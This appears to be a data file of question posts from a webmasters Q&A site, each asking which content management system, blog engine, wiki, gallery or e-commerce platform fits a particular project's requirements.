{"id":"8438","title":"Which Bliki (Blog+Wiki) solution can you recommend?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I'm searching for a good Bliki solution, meaning a combination of blog and wiki that I can install on my own web space. I would like to be able to write articles in the wiki style much like with media wiki. So I want to use a wiki markup language, have a revision history, comments, internal links to other pages (maybe in other languages) and be able to collaboratively edit the articles. On the other side I would like to have a blog-like view on my articles, showing new articles (and changes to existing articles) in a time ordered fashion. It would be nice if it would be possible to search through the articles and also tag the articles, so one could generate a tag cloud for the articles. A nice feature would also be to be able to order the articles according to views or even a voting system for the articles. Good would also be a permission system to keep certain articles private, showing them only to people logged in to the platform. Apart from these nice to have features an absolute must have feature for the Bliki platform I'm searching is the possibility to handle math equations (written in LaTeX syntax) and display them either as pictures like media wiki or even better using Mathjax. At the moment I'm using a web service called wikiDot which offers some of the mentioned features, however the free version shows to much advertisements, the blog feature is not mature, the design is quite ugly and loading of the page is often slow. So I want to install a Bliki solution on my own webspace. Can you recommend any solution for that?"}
{"id":"21144","title":"Are there other .NET based Content Management Systems (CMS) beside DotNetNuke that support multiple sites with one install?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I know that there are a LOT of questions on SO about CMSs based on .NET but I have just one specific question. I know that DotNetNuke supports multiple site creation on one installation. Of the other wellknown .Net CMSs... N2CMS Composite C1 Umbraco Orchard AxCMS ...do any of them support this feature out of the box (or with relative ease)? BTW, if you know of some low-cost non-free CMSs that would support this feature don't hesitate to give them a mention (as long as they are built on the Microsoft stack.) **EDIT** Just learned that this feature is called multi-tenancy...thanks David. Thanks for your answers. Can anyone give clarity on whether N2CMS, Composite, or AxCMS support multi-tenancy. Seth"}
{"id":"8412","title":"Which CMS for photo-blog website?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I need to add photo-blog to a site that I'm recently working on. It is very simple site so the blog doesn't have to be very sophisticated. What I need is: * a CMS that allows me to create simple blog-like news with one (or more) images at the beginning and some description\/comment below. Preferably, I would like to create something that works like sites like these two: http:\/\/www.photoblog.com\/dreamie or http:\/\/www.photoblog.pl\/mending\/ * it must be customizable. I want to integrate it's look as much as possible with current page: http:\/\/saviorforest.tk * preferably, it should provide some mechanizm for uploading and storing images at the server. I thought about wordpress, but it seems to be a little bit too complicated for such simple task. Do you know any simple and easy in use CMS that would work here?"}
{"id":"61090","title":"Best CMS (Content Management System) for Technical & Creative Guildelines","text":"Wondering if anyone here has any idea of a good content management system to act as as Technical & Creative Guidelines documentation site, preferably one with easy customization and strong indexing and search. Not web-facing, meaning it will be running within a Virtual Private Network (VPN) as well as Intranet. Any suggestions or ideas would be more than helpful!"}
{"id":"12389","title":"Website Review CMS (similar in nature to Forexpeacearmy.com)","text":"> **Possible Duplicate:** > Which Content Management System (CMS)\/Wiki should I use? I was wondering if anyone know of any CMSs that are similar to Forexpeacearmy.com ie Different categories with lists of websites in them. The ability for users to review websites. Thanks"}
{"id":"7549","title":"What platform do I need? Wiki, Tiki, or something else","text":"> **Possible Duplicate:** > Which Content Management System (CMS)\/Wiki should I use? I need to set up a collaborative website, like a wiki but where the items have a predefined structure. For example, a collaborative recipe website where a submission would consist of a photo, ingredients, instructions, cooking time, etc... Is there any any open source platforms out there that allow collaborative editing with structured entities? Many thanks!"}
{"id":"3398","title":"Best CMS for review-type sites","text":"Is there an ideal CMS for making a review site? By review site, I mean like a restaurant review site where you have each entry belonging to different major categories like Cuisine and City. Then users can browse and filter by each or by combination (Chinese Food in Los Angeles, with suggestions of other Chinese restaurants in LA, etc). Furthermore, I'd want it to support other fields like price, parking, kid-friendliness, etc. And to have users be able to filter by those criteria. I've been told that with a combination of custom taxonomies, plug-ins and many clever little queries, that Wordpress 3.x can handle this. But I'm having a heck of a time with it getting into the nitty gritty, and that's where I find the community support is lacking. The sort of stuff you'd think would work in WP, like making one parent category for Cuisine and one for City, don't really work once you get further in and start trying to pull it all together. Then you find these blog posts where people say, \"This example shows that one could create a huge movie review site using custom taxonomies...\" but when you go and try it you hit all sorts of challenges and oddities that point a big long finger at Wordpress being in fact a blogging platform. The best I came up with was one category for the cuisine and one tag for the city, then I created a couple of custom tag-like taxonomies for the other features. It's quite a mess to try to figure out how to assemble all of that into a natural, intuitive site. I expect a few versions down the road WP will be able to do these sorts of sites out of the box. So I thought I'd take a step back before I run back into the Wordpress fray and find out if maybe there is another platform better suited to this sort of relational content site. Directory scripts in some ways offer many of the features I'm looking for, but I need something more flexible and, hopefully, interactive (comments, reviews). I'm especially looking for feedback from people who've crafted sites like this. Thanks!"}
{"id":"16949","title":"PHP \/ Database Advertising Directory","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? What would it cost or is there already a system with a CMS like Joomla that would create the back-end of a website like this one: http:\/\/www.appliance- appointment.com\/"}
{"id":"42802","title":"Looking for a \"database\/dashboard\" CMS. Any tips?","text":"> **Possible Duplicate:** > Which Content Management System (CMS)\/Wiki should I use? I'm looking for a CMS that can handle: * User types at 3 authorization levels (client, partner, admin) * a dashboard for each one of them with relevant info about the other 2 user levels Concretely I am building a website where gardeners can set up a work schedule for their clients where the client can see when the next meeting is and its cost; the gardener its next meetings and monthly income etc. The admin obviously has an overview. I don't believe any CMS exists that covers such a use case but might there be any that can help me get started quickly? Thanks for your tips guys and don't hesitate If I haven't been clear!"}
{"id":"16837","title":"What are some alternatives to ASI iMIS Content Management Systems?","text":"> **Possible Duplicate:** > Which Content Management System (CMS)\/Wiki should I use? I am working with a team to select a new content management system for a large membership organization (around 25,000 members). The organization has revenue so I'm not looking for a dirt cheap solution. The site currently uses ASI iMIS which is based on ColdFusion. It's difficult to work with and not flexible for our needs. What other possible alternatives to ASI iMIS are there? Ideally the solution would have some sort of support from the vendor. So far I've come up with: * Drupal\/Acquia * SDL Tridion * Plone * Ellington (probably too news like) * Pinax (probably not developed enough)"}
{"id":"67783","title":"Online Marketing Website","text":"Which CMS site would be the best to use for building my new website. I am currently using Wix, would this be suitable? There will be loads of blogs, constant picture uploads and press releases added on a weekly basis."}
{"id":"12929","title":"Web-based CMS for mobile app","text":"I'm just about to start developing a mobile app which needs to be fed from a CMS. I started designing the tables when I thought there must be something out there which could save me a load of time and let me concentrate on the mobile side of things. So, I'm looking for a CMS that will let me create hierarchical \"pages\" which will just be 4-5 database fields with a simple front-end to allow to edit and update them. I don't mind having to write some code to layout the database and forms etc, any saving on starting from scratch would be good. The only requirement is that I be able to access the data via some sort of web service, REST, JSON, XML, anything really... Can anyone suggest anything that might help? Thanks, J"}
{"id":"15553","title":"Do you know a good web CMS to manage a sports team?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I'm looking for a web based CMS that enables me to manage a sport team, I need the following features: * Calendar** * Schedule events (sync with the calendar, RSS feed), it would be great if I could schedule a weekly event too, so that I don't have to schedule it by hand each week** * Announcements (same RSS feed as events)** * A place where I can put some documentation, rules** * Keep track of the matches and scores * Photo and video gallery ** means feature is required; otherwise optional Any technology for the CMS is probably fine, though I would prefer an SQLite- based CMS."}
{"id":"28499","title":"PHP photo\/album gallery script with an admin backend and easy to integrate","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I'm looking for an open source photo and album gallery software that should be is easy to integrate in a webpage and have an easy-to use back , admin panel for adding\/deleting\/modifying photo\/albums and thumb resizer . I've found myGallery which basically does what I want but it doesn't cache photos and is **really** slow."}
{"id":"26150","title":"Which eCommerce has a good module with product configurator?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? i'm looking for a eCommerce software which have also a good \"product configurator\". My company sells product highly configurable. Which ecommerce has a good configurator ? Thanks"}
{"id":"24115","title":"Looking for quick and simple blogging solution","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I'm looking for a really quick \"plug in and play\" style blogging software for php. It's to be used on a website that has already been design and deployed and it's really going to be used to add that extra bit of functionality. The things I really need it to do are: * Manage blog posts (including some form of editor). * Display blog posts on arbitrary webpages. * Unobtrusive to implement. * Nothing more. This basically rules out wordpress\/drupal. They are far to overburdened and I don't want to have to port the website to a word press theme. The blog is supposed to fit around the website not the other way round. Yes Django would be perfect for this job however, the environment in which the website is hosted does not allow me to use it. If anyone knows of anything similar for php that would be helpful. Does anyone know of anything like this? If not I will just write something basic but functional but it would at least save me a little time and effort."}
{"id":"38849","title":"Which eCommerce cms provide freedom of using my own eCommerce HTML template?","text":"> **Possible Duplicate:** > Which Content Management System (CMS)\/Wiki should I use? Which eCommerce CMS provide freedom of using my own eCommerce HTML template? We work on asp.net, however, we are okay with other languages as far as zero coding skill is required."}
{"id":"26632","title":"Could any current, well supported CMS support a live action role playing game?","text":"A group of friends and I are looking to create a system which will support and allow interactions between a group of up to 70 people using mobile devices (phones and tablets) as part of a science fiction themed freeform game. In order to minimize development effort and support as wide a range of devices as possible, it's become clear that a web server based infrastructure is the only practical solution. The server would be connected to a wireless network, and the players would use their web browsers to access the server wirelessly. I think the only thing that will do the job is some sort of CMS, but I have no detailed experience with any CMS and as such could do with some advice as to suitable platforms. **Required functionality** is: 1. Some sort of wiki containing game information. 2. The ability for both players and referees to be able to identify themselves to the system by log in. 3. Access control to a per user and per page granularity (not all users will have access to the same pieces of information) 4. (Text based) messaging (essentially email) from within the web interface 5. A notebook page for each player to make their own notes. **Required user interface features** are: 1. A UI optimised for mobile and touch devices 2. The ability to increase the text size of the interface for each device 3. Not too complex to use - some of our end users will not be technically minded The **required infrastructure** is: 1. Extensibility without a huge learning curve - we have several people with a programming and\/or systems administration background, but this is a hobby project for all of us, and none of us are CMS or web app gurus. In particular we are likely to need to develop a script to change users access permissions if they scan a QR code at some point in the game (giving them access to new information). 2. Longevity - this system is likely to be in use for at least 5 years (in short bursts, but not being able to maintain or set up a new server in 3 years time would be a real problem). Things which are **desirable** , but are not essential 1. Some sort of off-line operation (don't think we're going to get this one, but it doesn't hurt to ask) 2. Built in voice\/video conferencing\/messaging 3. Ability to tie a log-in to a device so the user only has to log-in once (mobile web browsers often being killed by the OS task manager the moment the user switches to something else) 4. Something that looks good on a tablet as well as a phone screen What sort of solutions would people suggest if they needed to develop a system with these requirements?"}
{"id":"1540","title":"I need an alternative to Pligg.com","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I was working with Pligg - The Social Networking CMS and it seems like a great software. But there are few things that are not so working well for me. The content scrapper module is not perfect and has lots of bugs. If anyone knows any other alternatives? All i am trying to do is create DIGG like website. Thanks"}
{"id":"22362","title":"Multi language CMS","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? need very simple multi lingual CMS. Currently site is in pure html. So all pages are written in pure html. No dynamics, block, etc. What I need is: I can create 3 versions of site and add content to it. That's all. Currently I think of Wordpress+qtranslate or TribiqCMS. But I am not sure right now."}
{"id":"43941","title":"Help with a CMS for content only not display","text":"Hello I'm trying to make some kind of tool for an school website, what I need to do is to make students take a test and according to what are the results (27 posibilities) they get a set of activities (questions) according to their level which they can solve in around 3 months logging periodically to the website, plus I need teachers to log and look at the reports. Now, I'm a graphic designer myself so my skills are mostly html5 and css3 and I know some php (edit existing ones only) and javascript (jquery) as well, most people tell me that I need a CMS to do the tool but all I find is CMS for display like blogs or news websites which I think aren't useful for me because the website is already made in html and css3 only (I need to add an extra page for the tool) I understand I need to create users and give them special rights according to what type of user they are and I also understand that I need a database where I can store all my questions. What is the best way to do this? what do you suggest me? Thanks"}
{"id":"53026","title":"CMS for sharing media files?","text":"I was looking for a CMS to host my uploaded files, share the download link and view a report of how many times a file was downloaded. Is there any CMS that I could instal in my Host? Wordpress, Drupal and Joomla just not working for what I want, I am looking for similar as megaupload, mediafire (who has a backoffice view, front-end, etc). Thanks!"}
{"id":"54836","title":"booking and reservation content managment system","text":"I'm looking a cms with a can: Make booking and reservation for a event or restaurant. payment system and open source if is possible.. Thank you all"}
{"id":"21371","title":"Custom Upload Advanced Scripting CMS","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I am looking for a specific content management platform that would display themes for my application. Requirements are as folllows: * Any user can upload content, but has to be approved by an administrator * When the user uploads the content, an external application is called to generate a thumbnail I could create this using codeigniter or something, but I would much prefer to use an existing system. I have experience with Drupal (seems a little bloated for my needs), and Wordpress (I'm using it as main website right now). Maybe I need a plugin for WordPress instead of another CMS. WordPress currently blocks uploads of my file type. I can modify it, but it's a pain to update it every time WordPress has a new release."}
{"id":"39731","title":"Which CMS or framework for a website with classified ads?","text":"> **Possible Duplicate:** > Which Content Management System (CMS)\/Wiki should I use? A non-technical friend has asked me to provide some guidance for his new website idea. To avoid losing a friend - I intend to send him to another professional to setup and maintain his website. The idea is not revolutionary - a basic website with user submitted ads, but given it is for a niche he might get some traction and I wish him good luck with that. Given that functionality is really very standard, should I suggest to him that he goes with something fairly mainstream such as Joomla or Wordpress that can be easily hosted on shared hosting? The only data that we want secure is the emails and phone numbers of the ad submitters. Any particular steps to take there? The other major req is that the site works well on mobile devices. Which particular product would you suggest and why? I also welcome any general suggestions on products or approaches that he can take."}
{"id":"18141","title":"Best content management system for a web hosting provider website?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? Which is the best CMS for a hosting provider website? 1. Wordress (Is this Not fit for websites?) 2. Joomla (low security) 3. PHP Coded pages 4. Drupal"}
{"id":"16265","title":"Best CMS for a membership site?","text":"I have been told Joomla but I am partial to WordPress. Can anyone let me know the best membership CMS, its plus points and any big sites running it? This is for a non-profit members only site mainly dealing with tutorials, stock galleries, templates, blog posts and support forums."}
{"id":"30444","title":"I want something ready to start with","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I am looking for something quick like a weblog in wordpress or blogspot maybe, that when I write a blog post I can put it there, for example if I write something about .NET or Java or Database,..some quick tutorial with some small code samples that visitors can use ... And I don't know anything about webdesign and I just want a ready-made thing to use for this purpose. What do you suggest? any samples of that that I can take a look?"}
{"id":"36409","title":"php cms withouth database","text":"> **Possible Duplicate:** > Which Content Management System (CMS)\/Wiki should I use? A friend of mine asked me for a easy website for him. As it was just 3 subpages, no database need or anything, I've done it quite fast with plain PHP, HTML, JS and CSS. But then another and another friend showed up. They only wanted arrange differently they navigation, some different picutures etc. So I though, is there any kind of CMS, that allows build small business website (barbershop, local groceries shop), with small list of subpages, yet allowing us to arrange look'n'feel. There's no need for the databas as content won't change, or can be stored in simple textfiles for example. Things like WordPress might be simple overkill Does anyone know such cms?"}
{"id":"23494","title":"CMS for code snippets?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I need the most simple way to publish code snippets in PHP, Javascript, HTML and CSS. What is the best free CMS to use with PHP \/ MySQL with these requirements? * Made for code snippets, or very good at it. * Syntax highlighting for the code snippest, when published but even when writing if possible. * Possible to write some documentation around the code snippet. * Nice urls, like \/html\/input-search\/ * Tags or categories for code snippets. I'm using Wordpress for other things but I don't think it's simple enough for code snippets."}
{"id":"13522","title":"Script for a community blog","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I want to start a community blog: a blog where anyone can post. Basically: I need a CMS that has the following features: * People can post from the front end: they don't have to go to an administrative interface. * Anyone can post * The popular posts (the ones with the most views, links, comments, etc.) are moved up to the home page, while the less popular posts are not as visable. * Categories and Tags * Comments * Some sort of internal trackback system: if user1 creates a post with a link to user2's post, then user1's post should show up in the comments of user2's post. * a simple profile (name, avatar, bio, etc.) * The ability to rate post's and comments. * Some sort of anti-spam system. Technology: php Any suggestions?"}
{"id":"1622","title":"Pligg like CMS to create digg like sites","text":"> **Possible Duplicate:** > I need an alternative to Pligg.com I am trying to find Pligg like CMS that I can use to create Digg like sites. With Pligg, I am not able to import the links automatically. They even have the plug in. I read about that plugin and it looks it can fetch only from selected sites. I'm not sure how good the plugin is. I checked out Drigg from Drupal but I don't understand the installation steps properly and I am not able to find documentation on doing this. Can anyone please suggest a CMS like Pligg that can pull bookmarks from other places?"}
{"id":"56443","title":"New to CMS - Media Uploads & Profiles?","text":"I am a designer \/ developer. My experience is in `HTML\/CSS\/JS`, some knowledge in `PHP`, `MySQL`, and Wordpress one-click-install. It'd be helpful if you could share some experience in choosing and setting up a CMS. Ideally, I have two places\/needs for content management: 1. A media gallery in `HTML\/CSS\/JS` that can populate with images from a CMS image upload. 2. A series of 'profile cards' with fields I can customize in the CMS. A name, a title, a bio, an image etc. And then be able to display that content in customized `HTML\/CSS`. These two features, along with a well-designed intuitive admin panel are the requirements. I'm still very new to backend installing and hooking into a CMS. Drupal is my first choice since it has a large community and I like that it has extendable modules. So, can this be accomplished with Drupal -- or is there an alternative I can look into?"}
{"id":"10187","title":"CMS for a site with blog, login, shopping cart, etc","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I am in the planning process of a website that will have a blog (as well as other pages which will be static), a login area (so that registered users can access private content), a shopping cart, and possibly later on a forum. What would be the best CMS to use for all of this?"}
{"id":"53760","title":"Some sites with wiki-engine in the web for hosting","text":"Are there any sites in the web like Wikipedia and this site, which have wiki- engine and may be used for hosting? Wikipedia has some troubles nowadays with formulas tags converting, so I want to use the other site."}
{"id":"50410","title":"Is there any Open Source alternative to e-paper CMS?","text":"I'm looking for an open source CMS such as * Express News * Dawn E-Paper Similar question has already been asked but its still without a proper answer."}
{"id":"25652","title":"Need a CMS for a church - sermons, galleries, front-end\/simple editing","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I'm creating a site for a church (news, events, sermons(audio & video), group pages, etc.) For many clients, I use Drupal, Joomla, or Wordpress - however, none of these will work in this scenario. I need the church administrators to be able to create layouts easily, etc, and not be bogged down in the number of features. Often for these types of clients, I use Joomla, but editing content in multiple areas can be confusing for clients (is it content, a component, or a module, etc.). Drupal is great for form based content submission, but the rest would be overkill for this client. I was leaning towards concrete5 for it's simplicity of use for the end-user, but many of the concrete5 add-ons feel like the alpha\/betas of other CMS's extensions\/add-ons. I was also tempted by Fork CMS, but it's fairly new and doesn't offer a lot in the way of customization abilities. So what would be a good CMS that allows either front end editing, or the backend is intuitive - offers good solid extensions\/add-ons, and is mature and sees regular updates."}
{"id":"23577","title":"Light CMS that does not require a database","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I am looking for a light CMS that I can use for creating a simple personal website for a friend. The server that he will host his website only supports PHP and no databases. So, I need a CMS that may not be very scalable but the important thing is that it must be easy to use with a simple user interface that a layman can use to add content (and as I said no databases)."}
{"id":"42228","title":"Choosing a CMS for Non-Technical Users","text":"> **Possible Duplicate:** > Which Content Management System (CMS)\/Wiki should I use? I am currently looking for a free CMS geared towards non-technical users. I'm hoping to find something where they can easily create tables, move blocks around, with a WYSIWYG editor, etc. Does such a thing exist? Myself, I can put up with any CMS I come across. I can use HTML\/CSS\/PHP\/MySQL\/etc., so I can install whatever I need to and add edits wherever I need to for the web design\/template\/theme. I know the popular ones: WordPress, Drupal, and Joomla. They're apparently not simple enough for what I need."}
{"id":"47794","title":"We require a blog plugin to our asp.net website?","text":"We require a blog plugin to our existing ASP.net website. I've used Wordpress before, however as our site is ASP \/ IIS Wordpress is out (I understand there may be workarounds but would prefer something that works out of the box). We need blog functionality to add in to our existing website template (header, columns etc) so only require a subset of full blog software functionality, as most blog software out there is aimed at creating a whole blog website, whereas we only want it to be a page on our website, in line with the current formatting of the website. What software would you suggest I use?"}
{"id":"30142","title":"Blogging platform that supports group , private , public blogs and advanced tagging","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? After some bad questions here, i finally have my main question in mind :) I need to design a platform that provides: -Personal blogging (blogs that are view able only by them) -Group blogging (blogs that only people part of a small group (3-4 people) can see the posts and comment) -Public blogs Also about the content itself, i would need -Advanced tagging (common tags amongst all blogs AND tags specific to a blog in addition to the common) -Search capability -Rich text content with photos media e.tc. on the blog entry -A database that i could access and create custom applications (most read-only) on the data. Also an API would be helpfull. an example of a custom application would be to select your blog posts and create an offline file (.zip html e.t.c) and have it stored locally on your machine. After some research: -Forum platforms are NOT suitable for this as i would have to create hundreds of sub forums with selective security for each of them. It would make administration almost if not impossible. -Joomla and joomla-alike cms also give me bad signs as i couldn't have specialized tags per category of articles and i suspect heavy coding in order to do it. Also i don't know if it could satisfy my other above-mentioned needs. -I have found a combo that may work. Invision Board and IP.Blog. IP.blog supports almost all of the features that i want ,but it seems maybe too good to be true (any input of someone that already uses it would be helpful). Many solutions follow the logic that a blog is public and allow for some level of security on them, which is not suitable for what i want."}
{"id":"24058","title":"Turnkey software for a community website","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I'm looking for some software to run a small community website. Ideally, what I want is: * A wiki * Static pages of some kind, perhaps cms controlled. * Some sort of blogging or news functionality I've been playing with django, but it's difficult to get the results you want when on cheap shared hosting (limited control of httpd.conf) Perhaps some sort of wiki package would provide most of this?"}
{"id":"33706","title":"What is a good solution for web based course management portal?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I am looking to host a web based course portal in my college. The portal would be used for the following tasks: * Instructors will upload lecture notes, assignments, embed videos(youtube etc.) * Students will consume the content, and in addition upload their assignment submissions. * Instructors and TAs will monitor students progress and give feedback. * Students, instructors and TA's will use a forum on the portal for discussions. Could you please recommend a good web based solution(preferably free) which would satisfy the aforementioned requirements to the most."}
{"id":"19948","title":"Which is the blog engine for my needs?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I am hosting two websites, which basically contain two filtered views to one blog-like data base. Both sites have their own domains and the files are hosted on the same machine (currently in two directory, but could be changed to one directory easily). Now, as a matter of fact, I am sick of maintaining my own php code just for such a blog, so I thought, there must be a blog engine out there which I can use instead. So I googled a bit and I simply don't know with which engine to start trying out. Can you help me an tell me which engine is able to fullfil my requirements. I don't need a setup\/configuration tutorial so something. I will figure that out myself as soon as I know which software to look at. My Requirements: * I want to continue to host the sites by myself. * I want to use different design templates on both blogs. * I want to feed both blogs from one data base and filter the entries, e.g. through tags, so I can have entries showing on only one site or on both sites. * I want to write entries in two languages, so the user can see the whole site in the language he\/she selects. However, I want these still to be one blog entries, i.e. if a user comments on an entry I want that comment to show in all versions (both languages and both sites if the entrie is visible on both sites). * I want RSS-Feeds (or similar) of the pages (filtered, similar to the webpages themself). Does anyone know a simple\/small CMS which can do that for me without being too huge?"}
{"id":"16046","title":"Intranet Content Management System","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I am looking to find a free CMS that would be suitable for an intranet environment with around 50 users. What suggestions do you guys have? All that is required really is a few pages listing links to different documents on the network and possibly an event calender."}
{"id":"31658","title":"Any CMS or Framework that support MongoDB as the only database?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I'd like to exercise mongodb in a real world context so I'm wondering what are CMS', or better, Frameworks that support MongoDB as the main database out of the box?"}
{"id":"24420","title":"Userfriendly CMS for a large organisation","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I am looking for a CMS for a large organization. There are many sites managed by many webmasters. The size of the sites range from pretty small to pretty large (60,000+ pages). The choice of technology does not matter, as long as the product meets the following requirements: * Allows complex workflows to accomodate the multiple needs of a lot of clients. (Many levels of revision, translation, approval, etc.) * Very easy for the users (Very easy for developpers too is great but could live without) * Has content history (It is possible to view what the content on a page was at a specific date) * Must be multilingual (At least French and English) * Has a flexible security model * Has good performance * The layout of the pages must be highly configurable (not sure if I should write as all CMS probably meet this criteria) * It must be possible to publish content that respects the WCAG 2.0 AA standard Can you point me in the direction of a CMS that meets all those criterias ?"}
{"id":"45167","title":"What's the best CMS for my project?","text":"I'm new to content management systems and I have very little experience in web development. Which CMS do you recommend for the following tasks? * Users can login and create list items * Users can upload files to list items * Users can comment and rate uploads (thumbs up down) * Users are able to change the font size of the page via mouse click * Users are able to export sites to pdf via mouse click * Breadcrumbs * Small and easy to use forum * Users can change the language of the site So far I experimented with Wordpress, but I think it's not the optimal choice! I've to use MySql as database."}
{"id":"18645","title":"What is the best open source e-commerce application for services?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? Normally e-commerce applications are designed for selling products. But I want to setup a website with an open source e-commerce application to sell services, instead products. Which is the most suitable open source e-commerce application to sell services instead of products?"}
{"id":"68867","title":"Which CMS supports private key authenticated sftp uploads?","text":"I use EC2 to host a website, & would like to implement a CMS which can logon with a private key file rather than a username\/password. In order to keep high security on the server so no one can brute force their way in. When I Google Drupal & Joomla private key authentication, I get nothing. Is anyone aware of a web dev app that supports this? Preferably open source. Thanks."}
{"id":"8769","title":"Choosing open source vs. proprietary CMS","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I've been tasked with redesigning a website for a small academic library. While only in charge of the site for 6 months, we've been maintaining static html pages edited in Dreamweaver for years. Last count of our total pages is around 400. Our university is going with an enterprise level solution called Sitefinity, although we maintain our own domain and are responsible to maintain our own presense. Some background-my library has a couple Microsoft IIS servers on which this static html site has been running. I'm advocating for the implementation of a CMS while doing this redesign. The problem is I'm basically the lone webmaster so I have no one to agree or disagree with my choice. There are also only 1-2 content editors right know for the site but a CMS could change that factor. I would like to use the functionality of having servers that run .NET and MS SQL but am more experience setting up and maintaining open source software like Wordpress or Drupal on web hosts. My main concern is choosing a CMS that will be easy to update \/ maintain \/ deal with upgrades (i.e., support) in case I'm not there in the future. So I'm wondering how to factor in the open source CMS vs. a relatively inexpensive commercial CMS decision and whether choosing PHP\/MySQL vs. ASP.net framework for development environment will play into my decision. Thanks for any input that can be offered based on the details I've given. Thanks, Jason"}
{"id":"13456","title":"What is the best CMS for .net?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I need advice on the best CMS for an online shopping website in ASP.NET 4.0. Any advice?"}
{"id":"23173","title":"Looking for a CMS including Wiki, possibility to comment on individual paragraphs of the wiki and making these comments visible on the same page","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I am looking for a specific CMS including Wiki, possibility to comment on individual paragraphs of the wiki and making these comments visible on the same page. The CMS should have a user system that allows to rate users on the quality of their comments. Ideally, the System should allow for different user roles\/permissions based on their experience. I looked at the site rapgenius.com and would like to use it for a similar project in which people can contribute texts, work on developing these texts and comment on text passages. Sorry, I am not a software engineer or webmaster but I thought this might be a good forum for my query."}
{"id":"61642","title":"ASP.NET CMS for link or content sharing with vote system","text":"I'm Looking for an asp.net cms which gets liks from users and shares them based on tag and stuffs. and I want users to be able to rate and vote each shared content or link. I know what I'm looking for is a special web application but I'm going to build it and I dont' want to start from zero. Do you know an open source asp.net cms for such thing?"}
{"id":"11442","title":"PHP Image gallery that integrates well into custom CMS","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I've been trying to find an image gallery that plays nice with our custom CMS. I've evaluated a number of them, but none of them seems to have the feature list that I would like: * Run on LAMP environment * Free software or low license costs (the website belongs to a non-profit organisation) * Multi-user support * Multiple albums. We're posting concert pictures, and would like an album per event. * Pluggable authentication system. I want to reuse the accounts we have for our CMS. Permissions can be done inside the gallery itself, but I want to have a single sign on solution in a maintainable manner, by writing my own plugin\/add-on for the software. * Upload support (multiple images at the same time) And preferrably also: * Can be integrated into a PHP page layout without IFRAMEs * Automatic resizing of uploaded images to a maximum size * Ability for visitors to place comments This combination is proving hard to find, especially the authentication requirement. I don't want to mess around all over the place in the source code to make it use the existing authentication. A plugin would be ideal, but alternatively a well thought out software design that allows for maintainable surgical changes would be acceptable. Any suggestions on which software I should take a closer look into?"}
{"id":"9584","title":"Which CMS can I use for my project?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I have to build a new website for my client.. and he needs this stuff: A user generated content website.. where users can upload their own videos.. (i will use a video hosting platform with api like fliqz.com) I must manage a big user system.. where users can create their own \"sub- users\"... the site must manage paid subscriptions and payments through paypal.. and other payment gateways... So the question is.. i have to use a pre-built CMS and extend it.. or just a good framework? I've been thinking about joomla, drupal and expressionengine... It's not neccesary to use a open source cms... I've looking at drupal.. but is not as easy to understand and extend... Can anyone help me to make a good decision?"}
{"id":"7322","title":"How to find a good photo gallery for my website?","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? For my website I'm searching for a really simple gallery module that looks like the one use by Dropbox. But I'd like to have 2 additional features: allow visitors to make comments and display the number of hits of a photo. I was googling a lot for such gallerys, but could find anyone that really matched my requirements. Could someone reocommend a simple good-looking gallery that fullfills these requirements."}
{"id":"46793","title":"Updating Old Site To New. Which Content Management System Lets Me Retain My Old URL?","text":"My old site is done in HTML with .html as file extension. To allow all those users who visit sites by typing a specific page url, and URL structure being good, I do not retain every single old url as possible including index.html as the main entry page even the content management system might start with index.php or anything like that. Could you tell me which content management system lets me pick my own url for each page or entry ? Example : given url 1 by Content Management System as travel\/whereonearth.php my old url : travel\/whereonearthe.html given url 2 : travel\/mars.php my old url 2 : travel\/mar.html i will type all old url for each entry page, once the site up, i will delete the old .html pages. This is for users and not for seo or anything like. I don't like .htaccess or anything like that so please list the CMS that allows me to do this."}
{"id":"11316","title":"fusion news or cutenews","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I am looking at using cutenews or fusionnews, neither have the specific option i want which is when a new article is posted to email all my subscribers the last article. I would like to know which one is most customizable to do this or of another application that can do this? i didnt want to use wordpress because i want to custime the layout and page, but if thats the only option then i may stick to wordpress."}
{"id":"24140","title":"Lightweight CMS for simple website","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I'm looking for a very lightweight CMS that allows me to design my pages in the exact way I want. All those I found give you standard templates to work with that are quite limiting. For example, I should be able to have generate a page with one full-screen image with a dynamic text area in its middle, or a toll image on the side with a few text areas scattered around. nothing too fancy... I just need freedom to place the objects wherever I want."}
